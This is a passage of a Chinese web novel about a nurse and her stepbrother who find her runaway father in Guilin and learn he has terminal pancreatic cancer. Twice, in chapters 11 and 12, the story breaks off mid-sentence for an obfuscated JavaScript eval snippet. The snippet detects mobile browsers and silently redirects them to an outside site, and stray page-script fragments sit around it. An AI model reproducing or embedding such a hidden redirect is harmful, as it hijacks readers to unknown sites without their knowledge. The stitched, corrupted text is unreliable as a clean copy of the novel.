一连几天都联系不上老爸,柳俊杰疑窦丛生,冯鹃说柳志华去看夏国清了,柳俊杰说她骗人,他给夏叔叔发过短信,夏叔叔说柳志华没去湖南。冯鹃脸上藏不住事,秦飞把弟弟拽去阳台:“你保密,我就跟你说实话。” 冯鹃干咳一声,秦飞对她眨眨眼,悄声跟柳俊杰说:“是这么回事。你姐,就是五月份结婚那个亲姐,她觉得她爸妈不容易,请她爸妈出国玩一趟。她作为女儿尽点孝心,合情合理,老妈拦着不合适,但她不好想,怕你也不好想,才没跟你说。” 柳俊杰信以为真,笑了:“怪不得一问老妈,她就发脾气,她吃醋了。” 秦飞这个借口找得很不错,冯鹃偷笑。秦飞揉揉柳俊杰的头:“你最近别问老妈了,别惹她不高兴,你玩你自己的,等你老爸回来送你礼物。” 柳俊杰不满:“出国为什么就找不到人?我用老妈手机给他发信息,他也没回。” “你爸没开通全球畅游,过几天就该回来了。”秦飞惦记和蒋馨月约会,又怕柳俊杰还胡思乱想,把他带去蒋馨月的店里,“我弟长这么大还没拍过几张正式照片,帮他拍一套?” 拍完照片,秦飞请女朋友和弟弟吃西餐,柳俊杰借他的手机玩游戏,悄悄向冯鹃通风报信:“我是杰杰。我哥的女朋友长得漂亮,人也好,我同意了。” 冯鹃睡到下午起床,被小儿子逗乐了,她找秦飞:“杰杰说你让他看电影去了,你个人晚上什么安排?” 秦飞答道:“没安排,小月店里还有事。” 冯鹃让秦飞去趟柳志华的老家团风县,秦飞不干:“我跟他没关系,去他老家,怎么说?说我替我妈来找她男人,替我弟弟找他爸?不去。” 冯鹃说:“我要不是抽不开身,我就自己去了。你帮我去看一眼。” 冯鹃难得说软话,秦飞妥协了,自己去总比冯鹃去强,万一柳志华和他前妻真在老家,以冯鹃的脾气,会闹得所有人脸上都不好看,他请示道:“在家我怎么说,不在家又怎么说?” “看一眼就是看一眼,看了你就回来。”冯鹃挂了电话,把柳志华老家地址发给秦飞,是团风县下辖的小乡镇,柳俊杰说镇上很热闹,还有几家快递公司。在他看来,能收快递的地方就不穷,给他一台能上网的电脑,他能住一生。 每年春节,柳志华都带着冯鹃和柳俊杰回老家过年,秦飞从不同行。他读中学的时候,经济没独立,过年就待在家里,大学时做兼职,赚点钱就当春节旅游路费,每年去一个城市。 途经黄鹤楼,秦飞又想起那晚柳志华说的话,他和前妻去旅游大概早有计划,但是全国这么多城市,他们去了哪里? 长江大桥又堵了,左右都有司机烦得按喇叭,秦飞也烦心,恨不得能上哪里躲一躲才好,他问蒋馨月:“想不想去哪里旅游?” 蒋馨月说店里的订单排得满,要到八月才能成行:“地点你定,时间我来?” 所有开店摆摊的人都很难闲下来,秦飞注视着前方的黄鹤楼,他想趁旅游的时候,对蒋馨月坦白他亲爸秦刚还在大牢里。蒋馨月很好,对柳俊杰也好,他不想再瞒她了。 车还堵着,秦飞打开外卖软件,点了鹃姐大排档的清蒸小龙虾和汤,填了蒋馨月的店址,蒋馨月很欢喜:“我买点啤酒饮料,吃虾子吹风就得喝点冰的!” “酒和饮料也归我买,算你替我喝的。”秦飞又下了一遍单,给柳俊杰也找点事情做,他总去批发站帮老妈批发酒水。 柳志华的父母都去世了,家里一哥一姐都在务农,秦飞问路,被村人带去柳志华大哥家。路上,秦飞跟村人寒暄,确定了柳志华没回来过。 等到跟柳俊杰的大伯见了面,秦飞扯了谎,说柳志华被公司评为优秀员工,奖励出国游,大伯问:“是不是俄罗斯?” 那一代人好像都有点苏联情结,但柳志华证件被冯鹃扣着,出不了国,秦飞笑答:“单位安排去哪里就是哪里,是欧洲小国家,捷克。” 捷克首都布拉格是秦飞自己想去玩的,他说来团风出差,他妈让他过来看看,大 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下班后,柳漾头晕得更厉害,打车回了家,吃点东西睡下了,但睡得不安生,脑子里似乎总有人在喊妈妈。那是下午接到的女病人,她大学毕业留在武汉工作,加班时突发抽搐晕厥,醒了自己摸到医院。柳漾给她输液,她打通妈妈的电话,说着家乡话,边说边哭。 柳漾在睡梦里呜呜哭,赵东南把她摇醒,像哄孩子似的哄着她,柳漾想喝口热的,赵东南起来烧水,怕她等得着急,拿着两个杯子左一下右一下来回倒着,把热水变温。 小时候陈玉兰也这样。柳漾目光落在手机挂饰上。她上班不能戴首饰,结婚头一天,她在娘家住,陈玉兰送了一个葫芦状的金铃铛给她,柜员说葫芦谐音是福禄,大吉大利,陈玉兰一见就喜欢,还编了一条中国结让女儿栓在手机上,反正这年头人人手机不离手,不用太担心被偷。 柳漾读幼儿园的时候,柳志华下岗了,陈玉兰想找份兼职,但她整日在轮渡码头,连发传单都不行,愁得要命。柳志华参加空调维修培训时,有个同事介绍了一家生产灯饰的厂家,它们主营各式灯笼,很需要会编织中国结的熟手。 陈玉兰跟人学习中国结编法技巧,把线材带去单位,靠着一条条中国结补贴家用,柳漾的衣服和鞋子,都从这里来。 柳漾喝水服药,重新躺下。他们私奔了,由他们去吧,这几天,她极力这样劝自己,不想再纠结,但是噩梦里,她看到长江结了冰,她爸妈像玩溜冰一样,牵着手在江上滑行。 月亮在乌云里穿行,四周黑下来,江上冰层陡然出现裂痕。柳漾在岸边拼命呼叫,但爸妈似乎听不见,仍在前行。她飞奔去阻止,却望见江上有两盏灯,闪着幽幽的暗光,她走近去,发觉是鳄鱼的眼睛。突然之间,冰层整块融化,爸妈掉下去了。 醒后,柳漾冷汗涔涔,她决定趁休息日去桂林看看她妈。等赵东南醒了,她说了打算,赵东南说:“我请假陪你去。” 若被张玢知道,又有话说,柳漾说:“你忙你的,我就是去当面说清楚,她想怎样我都不干涉了,只要不出事就好。” 赵东南不同意:“我请两天假不麻烦。” 柳漾说:“你妈麻烦啊。桂林是旅游城市,不是乡下,没事的。” 赵东南坚持同行,买了两人的票。柳漾对张玢说科里的邵医生要去外地开研讨会,她和沈维及宋青等同事随行,邵清平为张玢的领导做过心脏支架手术,张玢认识他,不再多言,但对赵东南不满:“三十岁的人了,黏媳妇黏成这样。” “三十岁怎么就不能黏媳妇了?我还没去过桂林呢。”赵东南哄他妈有一手,“夫妻感情好,才生得出样样都好的小朋友,是不是?” 柳漾高烧不退,回医院输液。被继父毒打的那个少女医药费没结清,她妈拿不出钱,继父也没露过面,所有听说这件事的人都劝女人带着女儿走,不然下次少女要被打死,女人不听,不顾女儿手上还缠着绷带,办了出院手续。 今天早上女人又来急诊了,她胳膊被男人打脱臼了。柳漾气恼地对调休中的沈维骂人,人类都已经能探索宇宙了,要理解一个普通人类依然困难,只可惜那少女,她才13岁。 柳漾新一轮小夜班,秦飞来找她,柳志华执意不愿再和冯鹃生活,他理解,但柳志华不能连柳俊杰也抛下。 柳俊杰的暑假作业有篇作文题是《我最敬爱的人》,写的是冯鹃,秦飞看感动了。柳俊杰说期末考试之前,老师划了范围,班里同学都猜作文会是《劳动的价值》,他回家跟爸妈讨论,冯鹃说写爸爸,大热天给人修空调,给千家万户带去凉爽。柳志华说写妈妈,冯鹃说小商小贩哪有写头,柳志华说十块钱就能让人吃饱吃好,自己还能攒点钱,了不起。 柳志华给柳俊杰列了提纲,一二三四五,井井有条,教儿子怎么夸妈。秦飞看完,回头看冯鹃,她给植物浇完水,掐朵栀子花别在衬衫扣眼上,柳志华不止一次夸过她懂得生活。 离婚可以再谈,实在过不下去就不过,但不能这样不明不白,离家出走当逃兵。秦飞越说火气越大:“看个破案剧,也想晓得谁是凶手吧,他把自己搞成悬案,是什么意思?人在哪里,要待多久,一概不晓得。” 桂林那么大,景区又多,柳漾不知道去了从何找起,以她爸妈的性格,好点的酒店肯定舍不得住,可能捡便宜旅社和民宿住,她说了实话:“我查过我妈买的火车票,他们去了桂林。” 秦飞拿起手机查车票,柳漾刷开网页,第一条却是桂林景区发生山体滑坡事故,掉落的碎石砸伤了20多个游客,还有人当场遇难,她心一紧。 几个医生同事帮忙,帮柳漾确认了受伤和死亡游客里没有她爸妈,但他俩手机都关机,已经失联一周多,她压根不敢回想那个可怕的梦境。 秦飞买了车票:“先报警,到了桂林,我们和警察一起找人。” 也许那两人纯粹是不想让人打扰,但对柳漾来说,这叫父母失踪,哪怕陈玉兰会怪罪她小题大作,她也顾不得了。那个嫌她管得宽,又倔又孤清的女人是她妈,是过去十几年和她相依为命的人。 11. 第 11 章 赵东南没能跟柳漾同去桂林,他所在部门聘用的司机出了事故。司机开着农用车,装载各种钢绞线和光缆线等施工设备驶往工地,行驶到一处下坡转弯处,农用车失控冲出公路,翻到在坡下的水田里,造成车上搭载的民工5人死亡,15人受伤。 司机是赵东南签字聘用的,已遇难,赵东南焦头烂额,把柳漾送到高铁站就走了。司机超速行驶,货箱内违章载人,客、货混装,赵东南监管不力,得负连带责任。 武汉风雨大作,千里之外的桂林也风雨大作。柳漾和秦飞身在不同车厢,下车后会合,警察正在全市范围内搜索陈玉兰和柳志华,但还没有收获。秦飞订了接站服务,直奔桂林最有名的漓江景区,两人把行李往民宿酒店房间里一丢,分区域打听起来。 傍晚时,柳漾接到警方通知,陈玉兰在訾洲景区一带的旅社入住,对面是著名的象鼻山。下了出租车,柳漾撑着伞,在雨中狂奔,只要她妈好端端的,她就什么都不问。 沿街面有几家店在装修中,跑至拐角处,一家酒店外围的脚手架在大风里摇摇欲坠,秦飞只来得及喊一声当心,拼命扯开柳漾。 脚手架坍塌,酒店装饰墙一侧脱落了几块,飞溅四散,砸到秦飞的左肩和半拉后背。柳漾惶急地扶着他,躲到安全地带,定睛一看,秦飞肩头和后背皮开肉绽,血不断往外冒,T恤上血迹斑斑,她抖着手打了120。 风雨交加,街上空无一人,柳漾冷静下来,让秦飞脱了T恤,简单查看伤势,谢天谢地,以她那点粗浅水平来看,没伤到脊椎,但这还需要拍片确认。 没伤到脊椎就没大事,柳漾长出一口气,秦飞紧绷的脸色也为之一松,咬住T恤一角忍着痛。柳漾撑着伞,脸侧向一边,把眼泪忍回去。万幸躲得及时,若被砸死,还算一了百了,砸成重伤瘫痪,将会面临多么可怕的余生。 救护车上,柳漾接到警察电话,他们已经找到陈玉兰和柳志华,她略微放松了些。秦飞后背有伤,趴在担架上咬着牙,柳漾知道他很疼,柔声说:“你救了我的命,哼出来保证不笑你。” 秦飞龇牙咧嘴地笑:“还你挡刀的人情了,不用再学画卡通画了。” 他竟然还记得小病人画卡通画答谢一事,柳漾低头看他,他额角淌着汗,显是极疼,她伸过手去,握住他的手。在医院时,她经常被病人抓住手和胳膊,他们因为疼痛,会把她的手心掐得通红,但没关系。 秦飞看她一眼,两人都没有再说话。际遇神奇,竟有握手言和的一天。不过柳漾对秦飞本人从无恶感,他妈破坏家庭,她爸也不是好东西,但不关秦飞的事,那一年他只是初中生。 到了医院,医生为秦飞清创缝针,他右脚崴了,做复位时疼得汗如雨下,柳漾回避了。赵东南忙着赔偿死伤者家属,还可能被通报批评,她不想再让他烦扰,瞒去遇险一事,报了平安。 警察把陈玉兰和柳志华送来,柳志华劈头问:“飞飞怎么样了?” 柳漾婚礼到现在还不到两个月,柳志华居然瘦得脱相,她微微吃惊,冷下脸说:“为了找你,秦飞脊椎被脚手架砸断了,医生说可能会瘫。”她故意重重叹气,柳志华顿时面无人色,陈玉兰也吓到了,“起不来了吗?” 柳漾长叹,柳志华扶着墙落座,肩背垮塌,他没法向冯鹃交待了。柳漾拽着陈玉兰坐下:“东哥工作上出了差错,要受处分,本来想跟我一起来的。” 陈玉兰翕动着嘴唇:“怎么出这么多事?” “你问我,我问哪个?”柳漾拼命忍,没忍住,秦飞被砸到那一幕吓得她魂飞魄散,情绪爆发了,“你是不是还要怪我们不该找你?” 陈玉兰嗫嚅道:“我给你留了字条……” 柳漾越说越气:“那也不能关机!我妈辞职了,不见了,死活联系不上,你叫我怎么想?!” 柳志华说:“你莫怪你妈,是我叫她出来的。” 柳漾冷哼:“你跟冯鹃是法律意义上的夫妻,你媳妇儿子都不要了,跑来找前妻,你还有理了?” 陈玉兰想辩驳,柳志华拍拍她的手,示意她别说:“是我做错了,飞飞要是……”柳漾听到他声音一哽,“飞飞要是站不起来了,我、我……” 柳志华说不下去,也说不出所以然,低下头。柳漾依稀瞧见他泪光一闪,竟不知再说什么了,这样悲痛又无望的神情,她在病人和家属脸上都看过太多次。 柳志华的工资一直归冯鹃管,一到账就转存定期,纵然秦飞瘫痪,他也无力补偿秦飞和冯鹃一分一毫了,何况家里还有个小儿子。陈玉兰呆着一张脸,眼泪落下。 柳漾心烦意乱,若不是秦飞扯开她,受伤的就是她了,幸亏他没大事,否则她如何偿还他的情?她烦躁道:“行了行了,骗你们的,瘫不了。” 柳志华被注入生机:“真的?” 柳漾问:“我们不找来,你们打算什么时候开手机?” 柳志华和陈玉兰都不说话,柳漾又来气了:“怕我们啰嗦,怕我们反对,就一直东躲西藏是吧?” 陈玉兰支吾道:“冯鹃不愿意离婚,还把你爸证件扣了,只能这样了。” 这个回答显然回避了核心矛盾,柳漾直捣黄龙:“你们做事不可能没计划,我就想知道你们来桂林的目的、不跟家里人联系的目的。老柳,我是成年人,结了婚,身边有东哥,我妈不担心我,说得过去,你不一样,你儿子还小,你不可能跟我妈一直在外面玩吧,你到底怎么想的,怎么个打算。” 柳志华久久不答,柳漾胸闷,起身走到窗边,雨还在下,漆黑夜里一无所见,像她那个至为幽森的噩梦。这世上多少男人像她爸这样,只是个能看的男人,没多少能力,也没多少责任心,身上或许有一点可取之处,但算不上是良好的伴侣,可偏偏就有女人死心塌地,因为复婚有障碍,连工作都辞了,跟他风里雨里奔波。 秦飞被护士推出来,柳志华跑上前:“飞飞,伤得重不重?” 秦飞呵呵笑:“苦肉计还是有点用的,不这样,你们是不是还躲着人?” 陈玉兰向护士询问秦飞的伤情,柳志华沉默地把秦飞推去病房,柳漾拉着脸走在旁边,秦飞扫一眼就知道她没问出什么。 柳志华要去办陪护加床手续,秦飞用眼神暗示了柳漾,柳漾拉着陈玉兰去了:“老柳没证件,用你的办吧。” 秦飞和柳志华相对无言,一袋药水都快打完了,柳志华仍不做声。秦飞趴得难受,直勾勾地盯住他不放,他只能表态:“我没办法了。” 秦飞大学时有个老师说过,很多武汉人有三句口头禅,是一生的处世哲学:怕么事!我也冇得办法。算了算了。他们能用这三句话应付生活中一切难题。秦飞有点生气:“我妈就那么让你讨厌?” 柳志华说:“不是讨不厌讨厌的问题。” “那是为什么?”秦飞又没等到柳志华的回答。柳志华脾气很好,做售后服务工作更让他任劳任怨,冯鹃再炸毛,他也能当耳旁风,有条不紊把手头的事情做好,秦飞实在想不出他连那么小的儿子都不理不睬,跟前妻私奔的理由。 柳漾和陈玉兰租了折叠行军床回来,已过零点。同病房的病人和家属都睡着了,柳志华接过柳漾买的洗护用品,让她和陈玉兰就近找个酒店休息。 麻药劲儿过去了,秦飞皱着眉,似睡非睡,柳漾俯身看了看,胳膊肘碰了碰陈玉兰,一起出去了。 医院边上酒店旅馆林立,柳漾选了看起来最干净的一家小旅馆,想开两间房,陈玉兰心疼钱:“大床房吧。” 柳漾心里有气,对前台说:“标准间。” 进屋各自洗漱,仍不交流,柳漾洗完澡出来,陈玉兰睡着了。雨仍在下,柳漾睁着眼,听着雨声,天亮起来还没睡着,干脆起床刷牙洗脸,蹑手蹑脚出了门。 尽管护士夜间查视会用门卡,但病人们都习惯不锁门,一拧就开。柳漾推门进去,房间亮着灯,柳志华个子高,长手长脚,此刻缩在行军床上睡着,看上去很瘦小,当女儿的看了他很久。 秦飞伤口疼,只能趴睡,一睁眼,柳漾来了。他慢慢侧向一边,努力起身,柳漾扶他坐起来,柳志华醒了,秦飞把他打发走了:“饿了,你洗把脸买点早饭回来。” 清晨六点,同屋的人还没醒,柳漾扶着秦飞到门外说话,秦飞说:“他俩很不对劲,我有个想法。” “我先说。”柳漾昨晚失眠,把整件事从头到尾捋了一遍,有了推论。这把年纪玩私奔,堪称荒唐,连年幼的儿子都不顾,更是不寻常,以她的从业经验来看,但凡在极短时间暴瘦的人都患了病,她怀疑柳志华也如此。 柳漾的推论和秦飞不谋而合,柳志华想和前妻重修旧好,两人都能理解,但连柳俊杰也不理会,不正常。 长江大桥上,柳志华感叹自己活不了黄鹤楼那么长,秦飞一说,柳漾越发判定柳志华得了很严重的病。她记忆中,柳志华不抽烟不喝酒,但最近这半年,每次见到柳志华,他都喝得满脸通红,可能是借酒消愁。 秦飞说:“他在我家不喝酒,连啤酒都不喝。” 等柳志华和陈玉兰带着早餐回了,秦飞直接了当地问:“你是不是得了病?” 柳志华脸一白,递过豆浆油条:“本来想买米粉,怕病房里气味大,你吃这个。” 柳漾盯着陈玉兰,陈玉兰回避她的眼神:“没睡好吧,你回酒店再睡一下,中午吃饭我叫你。” 柳漾从病房里搬把椅子出来,秦飞坐下吃早餐,柳漾找护士长请了三天假,跟赵东南也说了一声。 秦飞对柳志华不依不饶,逼问道:“你到底得了什么病?” 柳志华说:“没得病。护士今天几点来输液?” 秦飞和柳漾互相看了一眼,像两个因为孩子早恋而千里追索的双方父母。五一节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569746|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见第一面的时候,还剑拔弩张,没想到有天竟会成为同盟者,不过弟弟的确是共同拥有的。柳漾再不承认柳俊杰是她的弟弟,血缘关系也是不可磨灭的,她想起婚礼那天,那孩子被他妈推到面前时,一脸的错愕和难堪,倒不像个家教坏的孩子。 四个人又僵住了,柳漾去扔垃圾,秦飞把手机揣进病号服口袋,猝不及防攻击了柳志华的后颈,同时脚下还使了绊,陈玉兰惊叫着去扶柳志华,两人齐齐摔倒。 没能把柳志华击晕,秦飞悻悻然,网上说的不对。柳漾看出他的意图,笑道:“别人是练过的,你那手法不对,力气也不行。” 秦飞伤到的是背,反穿着病号服,整个后背都露出来,刚才他劲使大了,伤口迸裂,从纱布渗出血来,柳漾连忙把他扶进病房,按铃喊护士。 护士为秦飞处理伤口,柳漾瞧着柳志华,冷冰冰道:“要是秦飞瘫了,你肯不肯说实话?” 秦飞说:“老柳,我打你没别的意思,就想把你弄晕,抬去做体检。逃避不是办法,你还是撂了吧。” 柳漾跟他一唱一和:“不说也行,只要是在武汉的医院做的体检,我就能找我们主任托关系调出你的病历。说吧,有病治病,别坑我妈。” 陈玉兰急出了眼泪:“你就是不听话!叫你过自己的日子,不要再管我们,你就是不听!非要跑来找我们不可!你回去你婆婆又要摆脸了!” 柳漾爆粗口:“张玢对我也就那样,我为什么凡事要考虑她的感受?到底是什么病?我们医院专家多,听我的,回去治病!” 陈玉兰仍不想说实话:“你结婚了,有自己的小家庭,不用再管我们,把自己顾好比什么都强!” 秦飞说:“她不管,我也得管。老柳,你要离婚,我能帮你劝我妈,但杰杰那边不好办,你一句话不交待就走,他想不通,我也劝不好。” 柳志华终于说:“我得的是胰腺癌。” 秦飞和柳漾都悚然一惊,但两人认知不同。胰腺癌是癌中之王,手术切除率低,存活率也低,哪怕进行根治性手术切除,大多数也活不过两年,柳漾一听就沉默了,秦飞却以为还有救:“什么程度了,早期还是……” 柳志华说:“三期。” 陈玉兰泪落如雨,柳漾心中酸楚,她爸对婚姻不忠,害她和她妈吃尽了苦,但他罪不至死,他只有50岁。 胰腺癌来势汹汹,大部分人确诊时就已是中晚期,柳志华到了三期阶段,基本上活不过一年了。去年底,柳漾照顾过一个胰腺癌患者,11月底入院,12月上旬做完手术,1月3号就走了。 眼前三个人脸色都凝重,秦飞懂了,这是不治之症,他拿起手机,想搜索还能活多久,但当着柳志华的面,他做不出来,把手机丢到一旁。 柳漾问:“查出多久了?” 陈玉兰说:“你过生日前几天查出来的。” 柳漾的生日是4月17号,她看着柳志华,他脸色暗黄,骨瘦如柴,跟她商量办酒席时,冲去卫生间里吐过,当时陈玉兰说是喝多了,但也许是胰腺癌的症状。 所有被确诊胰腺癌的患者,都会被医生嘱咐:“多吃点爱吃的,有什么心愿就去完成。”柳漾看看柳志华,又看看陈玉兰,明白他们私奔的原因了。柳志华只剩最后这点时间,想善待自己,也想弥补被他辜负的女人,他们是结发夫妻,但这辈子还没能一起旅行过。 柳志华对秦飞说:“等你出院,我跟你回去,跟你妈和杰杰把话都说清楚。你不要怪我,我把钱都留给他们了,人生就剩这几个月,想出来走走看看。” 生命进入倒计时,他还每天接单,干到半夜才回来,秦飞鼻酸,说不出指责的话:“为什么来桂林?” 柳志华笑:“年轻时就听说桂林山水甲天下,太远了,舍不得花路费住宿费,现在老了,就来看看。” 他就那点钱,都留给家里人了,出来旅游,只能挑最负盛名的,柳漾把眼泪忍回去,问陈玉兰:“我们不找来,你们打算一直玩下去?” 陈玉兰说:“那也不行,外头开销大,把桂林玩个遍就回团风。你爸是村里人,能土葬,地也看好了。” 柳漾喉头哽了一下:“那你呢?” “你爸活到什么时候算什么时候。以后……以后我再回公司上班,我是老员工,老板可能会返聘,不返聘我就再找事做。”陈玉兰神情哀伤,但说得有条有理,可见跟柳志华一一商量过。 柳漾不难猜到,柳志华确诊后,晴天霹雳,来家里商量给女儿办婚宴,忍不住说了出来。陈玉兰本来只想陪他最后一程,被冯鹃一闹,索性决定复婚,复婚就光明正大了,谁也反对不了。 护士来给秦飞查体温,柳漾气闷,出去站了站。柳志华年轻时胡闹,坑了陈玉兰,年纪大了,竟然再坑一遍,她妈就活该当他的养老院,重症监护室,冤大头吗?难过的是,她妈甘之如饴。 12. 第 12 章 秦飞找公司请了假,对蒋馨月只说是出差,冯鹃打电话找他,他按掉了,发去文字信息:“昨天半夜找到他了,他同意回来,情况有点复杂,我扭到脚,休整两天,大后天回来。” 冯鹃发来欢欣鼓舞的表情符号:“我跟杰杰说!” 她问都不问陈玉兰,只要男人回家,她就一笔勾销,秦飞放下手机,背过脸去。长江大桥上,柳志华说起曾有一位姓乐的战友,下岗后开了电器修理行,修旧货时发现商机,搭着进点老货卖一卖,为此远去青岛大连,但他和妻子乘坐的客船翻沉于大海。 “人没长后眼,是机会还是绝路,你不知道。”柳志华伏在栏杆上看夜色中的长江,沿岸建筑物的灯光投射在江水上,明明灭灭,他跟秦飞说话,又或是在自语,“每次想到乐世华,我就想,天有绝人之路。你看,没有船,江上就不能走,这么大地盘,不能住,不能走。” 所以在他人生的最后时光,他想要远走。秦飞终于明白那晚柳志华为何反复感叹人看不到未来。他得了不治之症,没有未来。 柳漾给赵东南打电话,他那头很吵,死伤者的家属们群情激昂,围堵电信公司门口,社会影响恶劣,他挨定处分了,她心里堵得更厉害,回病房喊出陈玉兰:“你俩都没钱了吧?” 陈玉兰苦笑:“他有医保,没花多少钱,这个病没得治,不怎么花钱。” “我把他的病历拿给我们院里的方主任看看。”胰腺癌后期会很受罪,需要多买些止疼药缓解痛苦,办丧事也得花钱,柳漾跟陈玉兰说得明白,“我结婚,老柳帮着办嫁妆,他掏了钱,他的事,我也会出钱,但你要适可而止,不能为了救他,把自己都搭上。他是病人,你再倒了,我不好办。” 陈玉兰说:“我做过体检,什么毛病都没有。你放心,再怎么样,房子过户给你了,就是你的财产,我不会动它。” 柳漾说:“我不是这个意思,你不拼命,我才放心。” 秦飞伤重,没法出行,柳志华又反反复复低烧,吃东西只能吃一点,柳漾去请护工,但护工紧俏,第二天下午才到位,她记挂赵东南,买次日傍晚回武汉的高铁票,深夜才能抵达。 赵东南一脑门子事,还得受处分,他苦盼的岗位升级可能也落空了,柳漾揪着心,暂时没跟他说柳志华患了癌,把柳志华的病历一页页拍下来,发给院里的方主任看。 晚上,陈玉兰和柳志华出去买饭,柳漾留下来看护秦飞。今日管床护士跟她是同行,很喜欢和她聊天,见她和秦飞很默契,又熟稔,以为是恋人,问:“你老公是做什么的?” 柳漾摇头:“不是我老公。” 小护士误会了:“你们还没结婚?” 邻床的病人家属说:“我上午就听明白了,是亲戚,亲戚对吧?” 秦飞和柳漾齐声答道:“对。” 柳漾查看武汉天气,秦飞忽然问:“你说,他们为什么被逼到这份上,才肯说实话?” 柳漾中午也问过她妈,她妈说:“不说你就反对,说了你更反对,不都一样?” 柳漾无奈:“我认得的医生总比你多吧,治不好能也帮他减轻一点痛苦。” 陈玉兰叹口气:“你爸的病,他自己最清楚,我和他也找过很多专家。” 连日来,陈玉兰总是这副拒绝合作的态度,柳漾多少明白了几分,跟秦飞说:“他们把我们当小孩子。” 秦飞不满:“我都快三十岁的人了,你也结婚了,都不是小伢,我妈也是,一口一个我的事你莫管。” 柳漾笑道:“很简单啊,我们是普通人。父母的衡量标准很简单,你赚钱多,在社会上比较成功,他们可能才肯把你当大人。” 这是柳漾和赵东南领证后悟到的,赵东南是区电信公司的小中层,级别和工资比他爸妈都高些,他在他们面前说话有分量。自家爸妈东瞒西瞒,其实就一点,他俩把她看得很扁,觉得跟她说不着,说了没用,若她是主任医师,副院长,就另当别论了。 柳漾表态会去托关系求医,陈玉兰也提不起劲,固然是柳志华得了被专家们宣布无药可救的绝症,恐怕还有一个原因,她心疼女儿求人艰难,怕她还不起人情,柳漾心知肚明。 秦飞静下来,他认同柳漾的说法。他没赚到钱,还在家里住,在他妈面前不可能有话语权。假如他纵横商场,是本省杰出企业家,别说在他妈面前说话一言九鼎,几百年不来往的老亲戚都会把他当青天大老爷,前来求告。 陈玉兰和柳志华带回饭菜,柳漾缓和气氛,问些旅游见闻,陈玉兰很配合,给她和秦飞看沿途拍的照片和视频。守到晚上九点,同屋病人睡了,两人撤了。 柳漾头一沾枕头就睡着了,第二天护工到位,她交代了注意事项,打车去高铁站,晚上快11点才到武汉。 到家后,公婆都睡下了,柳漾发现赵东南也受了伤。交通事故死伤者都是郊区村里人,扛着农具杀来,赵东南和几个同事额头都磕破了,还有个保安被锄头伤到后脑勺,当场晕厥。 柳漾为赵东南做热敷,再为他舒活筋骨,两人聊到后半夜才睡。早上,赵东南去上班,他刚一出门,柳漾就被张玢喊醒了,张玢憋了快两天的气,恶狠狠地发作了。 柳漾睡得稀里糊涂的,听了半天才搞懂,赵东南受了伤,张玢恼恨她没有及时赶回来。一个普通护士,被带出去开会,只有坐在台下听医生发言的份,请假回来照顾男人才是天经地义。柳漾要是别的工作也罢了,她干的就是护理,陌生人她都能尽心照顾,对自家男人却漠不关心,平时亏着她了? 不好好伺候男人就已经是罪该万死了,张玢更生气的是柳漾胆敢撒谎。赵东南受伤当天,张玢打了邵清平的电话,柳漾不敢请假,她请。 接电话的是邵清平的助手,他说邵医生正在手术室抢救病人。张玢问:“不是在桂林出差吗?” 对方说:“阿姨,你是不是找错人了,这是邵医生的私人电话。” 张玢气得七窍生烟,等赵东南回来,她试探了几句,儿子竟然替媳妇隐瞒,这就大有问题了。 赵东南被公司的事弄得头大如斗,张玢忍着没拆穿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569747|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天她特地请了一上午假,审问柳漾:“你跟我说实话,是不是打胎去了?” 柳漾惊呆了:“妈,你在说什么?我没怀孕。” 张玢不信,陈玉兰是本地人,柳漾没有外地亲戚,撒谎说去出差,其实去了哪里?为什么连赵东南也替她隐瞒,还语焉不详,眼神闪烁,有鬼。张玢反复琢磨,推论柳漾人就在武汉,躲起来是因为刮宫大伤元气,在补养。 柳漾被张玢的想象力打败了,翻包拿出车票:“妈,你看。” 张玢不屑:“你们年轻人都会搞小花招,算着我会问,特地买两张票堵我嘴是吧?” “一来一回要六七百呢。”柳漾本想给张玢看她开的住宿发票,但张玢一副严审的口吻,她的火气也上来了,喊她一声妈,她还真把自己当妈了?她柳漾可是连自己的亲妈也照样甩脸子。 不仅没审出名堂,连句软话都听不到,张玢恨声道:“打胎对身体不好,一个不注意,以后再也怀不了,你看东南还要不要你!” 柳漾今天要上小夜班,从下午四点上到凌晨一点,她呵欠连天,靠着床头,合上眼睛,不想再谈:“真没怀孕,真没流产,不要疑神疑鬼了。” 张玢厉声道:“你这是什么态度?” 柳漾火了,向来别人大声一句,她会大声三句,能忍张玢这么半天,只因她是赵东南的妈,但再忍下去,她做不到,板起脸:“我就这个态度,等东哥回来你问他吧。” 张玢大怒:“你怕是翻了天吧?!” 柳漾不理她,哧溜躺下,闷头睡了。等张玢出去,她飞快地拨打赵东南电话,极小声说话:“你妈怀疑我躲出去打胎,等她问你,你就说我结婚后,家里冷清,我妈心里低落,我带她去散心。” 赵东南简直无语:“她真是想一出是一出。” 然而,这个借口依然让张玢牢骚满腹,柳漾带她妈去散心,这是孝道,是好事,她举双手赞成,为什么要撒谎,是怕她攀比吗?她们单位每年组织公费春游秋游,不眼馋别人自费旅游。赵东南敷衍着:“漾漾怕你认为她厚此薄彼,还怕你怪她瞎花钱。” 张玢嗤一声,赵东南继续说软话:“我和漾漾商量过了,今年过年,全家去云南旅游,怎么样?” 张玢说:“没这个必要!你俩早点生伢才是正经事!” 